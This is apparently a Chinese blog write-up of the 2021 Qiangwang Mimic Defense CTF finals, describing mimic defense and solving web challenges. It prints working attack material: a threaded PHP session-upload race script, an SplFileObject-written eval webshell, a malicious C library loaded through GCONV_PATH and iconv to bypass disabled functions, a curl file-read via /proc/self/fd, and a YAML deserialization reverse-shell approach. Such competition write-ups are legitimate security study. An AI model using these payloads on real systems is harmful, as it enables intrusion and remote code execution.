2021强网拟态防御国际精英挑战赛总决赛WP

image-20211112201027140

前三届强网拟态都是国际邀请赛,导致之前没打过这比赛,今年开放线上国际公开赛,Em…..缺乏前几届参赛经验,打进决赛后果然吃大亏hhh

后面队友 @Vino0o0o 搞车联网带到前20三等奖,险吃低保

image-20211112204838177

先吐槽一下,这比赛确实重点不在CTF上,常规CTF解题部分被分在了白盒资格赛上,质量参差不齐,且每道题只有500分(还是动态

而去黑盒或者车联网挖一些简单的洞(如弱口令)都能评几千分。因为CTF题目得分过低,就导致了后面基本都跑去做黑盒、白盒挑战和车联网去了,解题赛大家进度都非常慢,站在Ctfer的角度来看这是缺乏合理性的

但总体来看拟态强网还是一次很不错的锻炼机会,能够一定程度上拓展安全视野,为数不多的打完觉得学到很多的比赛

拟态简述

不知道表述有无问题,敬请予正

赛中一直能在题目信息中看到异构、执行体、冗杂体等等拟态概念,迷迷糊糊也就照着正常Web业务来做了,赛后才大概了解拟态到底是什么东西

简单吹一下

先说执行体,当存在一个如后台管理系统的网站,他可能由单独的PHP实现,也可能由Django实现,同理也可能由Node Or Java实现,这种单个网站放在拟态网站中就称为执行体

而冗杂体就是由这些执行体组合起来的集合,最外层套一个Nginx反向代理之类的东西把流量向内网中的执行体转发,假如Python实现的后台管理存在SSTI,则输入49,Python执行体返回的网页将会出现49,而其他执行体不会有这样的返回,因此判定该输入为攻击输入从而进行拦截(少数服从多数)

因此由上也不难明白异构是什么东西。

同理,存在语言异构,就还会有其他种类异构,如不同操作系统异构(Win、CentOS、Debian….),不同位数和架构的CPU异构等等(intel、arm)

简而言之拟态网站就是一个由多种服务器构成的服务集群统一体,通过比较同业务不同返回来触发拟态防御机制

image-20211112230913554

白盒资格赛

就是CTF解题赛

不要做小白

打开是个静态页面,扫东西只有个phpinfo.php

忘了具体源码了,直接用%fa绕escapeshellarg即可

看一下大概ban了三页的函数(恼

然后就没其他可利用点了,逛了会儿发现注释有个xiaobai.php

把扫描器关键词加个xiaobai,直接扫出xioabai.zip

xiaobai.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include 'fun.php';

error_reporting(0);

if(!isset($_GET['do'])){
echo "do what?";
}
else if($_GET['do'] == "think"){
if(strlen($_GET['think']) > 10 | fun($_GET['think'], 1) | check($_GET['think']))
exit("think what?");
eval($_GET['think']);
}

if(isset($_GET['show'])){
if(strlen($_GET['show']) > 42 | fun($_GET['show']))
exit("show what?");
include $_GET['show'];
}

fun.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

function fun($var, $case = 0): bool{
$blacklist = ["\$_", "eval", "include", "require", "?", ":", "^", "+", "-", "%", "*"];

foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}

if($case){
$oppos = ["php","/","\$"];
foreach($oppos as $blackword){
if(strstr($var, $blackword)) return True;
}
}

return False;
}

function check($var): bool{
$alphadic = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphadic); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $dic[$i]){
$cnt += 1;
if($cnt > 4) return True;
}
}
}
return False;
}

简短的代码,这里的eval是个幌子,我们需要直接用include,加上session文件上传来getshell

逛了下之前的phpinfo,命令/代码执行函数就剩个eval,连var_dumpis_dir这类函数都被ban了

看了下没有禁SPL,那就直接用SPL来写文件

1
<?php $file = new SplFileObject("/tmp/g", "w");$written = $file->fwrite("<?php eval(\$_POST[1]);"); ?>

跑phpinfo临时文件上传但太慢了没跑出来,贴一下队友的session上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait

target = 'http://172.35.45.1/xiaobai.php'
session = requests.session()
flag = '1111'


binFile=open("exp.so",'rb');


def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php echo('{flag}');$file = new SplFileObject("/tmp/f", "w");$written = $file->fwrite("exp的so"); ?>'''}

while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={'PHPSESSID': flag},
)


def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f'{target}?show=/var/lib/php/sessions/xiaobai/sess_{flag}',
)

if flag.encode() in response.content:
print(response.content)
e.set()


if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))

for i in range(5):
futures.append(pool.submit(write, event))

wait(futures)

跑完然后直接引用/tmp/g过来即可代码执行

拿下webshell后还是无法拿到flag,要绕一下DF

PHP7.4

重新回去看了一下发现没有ban putenv,但disable class里面赫然列着一个FFI

嗯…..那就要找其他方法了,这里用的是iconv

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
system("cd /;./flag>tmp/2");
}

编译出exp.so,写一个文件上传的接口上去

1
$file = new SplFileObject("/tmp/ttpfx", "w");$written = $file->fwrite('<?php $file = new SplFileObject("/tmp/exp.so", "w");$written = $file->fwrite($_POST["file"]);?>');

获取payload

1
<?php echo urlencode(file_get_contents("exp.so"));

再在tmp写一个gconv-modules

1
2
module  EXP//    INTERNAL    ../../../../../../../../tmp/exp    2
module INTERNAL EXP// ../../../../../../../../tmp/exp 2

image-20211114000451238

传好后打一下即可

1
/xiaobai.php?show=/tmp/g&1=putenv("GCONV_PATH=/tmp/");include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');

image-20211114000609209

easy_web

队友@Firebasy的三血

扫描目录发现/swagger-resources

对API测试文件读取。

image-20211110004751119

直接读source code

Java一般可以直接扫fd文件

1
curl http://172.35.45.3:8080/proxy/http?url=url:file:///proc/self/fd/4?a=php -o www.jar

下载源代码。

image-20211110004915737

YaML反序列化,且ban掉了!!,参考浅蓝师傅博客

https://b1ue.cn/archives/407.html

image-20211110005048943

之后直接打反序列化反弹shell.yaml-payload.jar

image-20211110005131483

image-20211110005156755

image-20211110005142123

runner系列

runner系列有四个题,打开全都是一个特殊的b64编码,然后就啥都没了

直到四天比赛的最后一天才找到这首换了编码表的b64,直接在这里解密就能得到几个API

https://gchq.github.io/CyberChef/

image-20211114003156185

runner1直接访问step2得到flag,runner2有aes加密,需要逆一下ELF文件才能得到key来解出flag,后面全是re队友在做了

最后web还剩 adminprofile 和 一个拟态nmap没做

Adminprofile,注出密码还有后续,拟态nmap就是去年网鼎朱雀组原题套了个拟态防火墙,机制很奇怪,无论写什么内容都会被检测到,Em….CTF分太少,后面就都没看了

白盒挑战赛

Web

点开需要我们先在一个地址注入拿到源码,然后去另一个地址进行真正的白盒挑战

但队友不小心点了注入完成,白盒直接变黑盒hhh,遂放弃

ADAS

就是车联网,大概需要选手登陆上去寻找一些漏洞,这一块都是@Vino0o0o做的

一共接近十台设备(rich的主办方准备了真车)

太菜了我都看不懂

image-20211114012748880

还有摄像头抓拍、一些服务弱密码、WIFI信息泄露等等

黑盒挑战赛

赛方会给一堆switchstorgedatabasedns这种服务,以及个别拟态web服务

测了一会儿Web还打了个http请求走私出来不过没什么用,貌似黑盒和之前的白盒是有关联的?没看懂,白盒也G了

最后0ops的大哥们实现了比赛出现以来首次拟态完全逃逸,膜拜Orz

感想

感觉这比赛还是很有意思的,打完后也深刻认识到目前CTF所学Web知识实在浅薄,希望能在日后精深一下其他计算机基础、二进制、网络架构/设备的一些知识

评论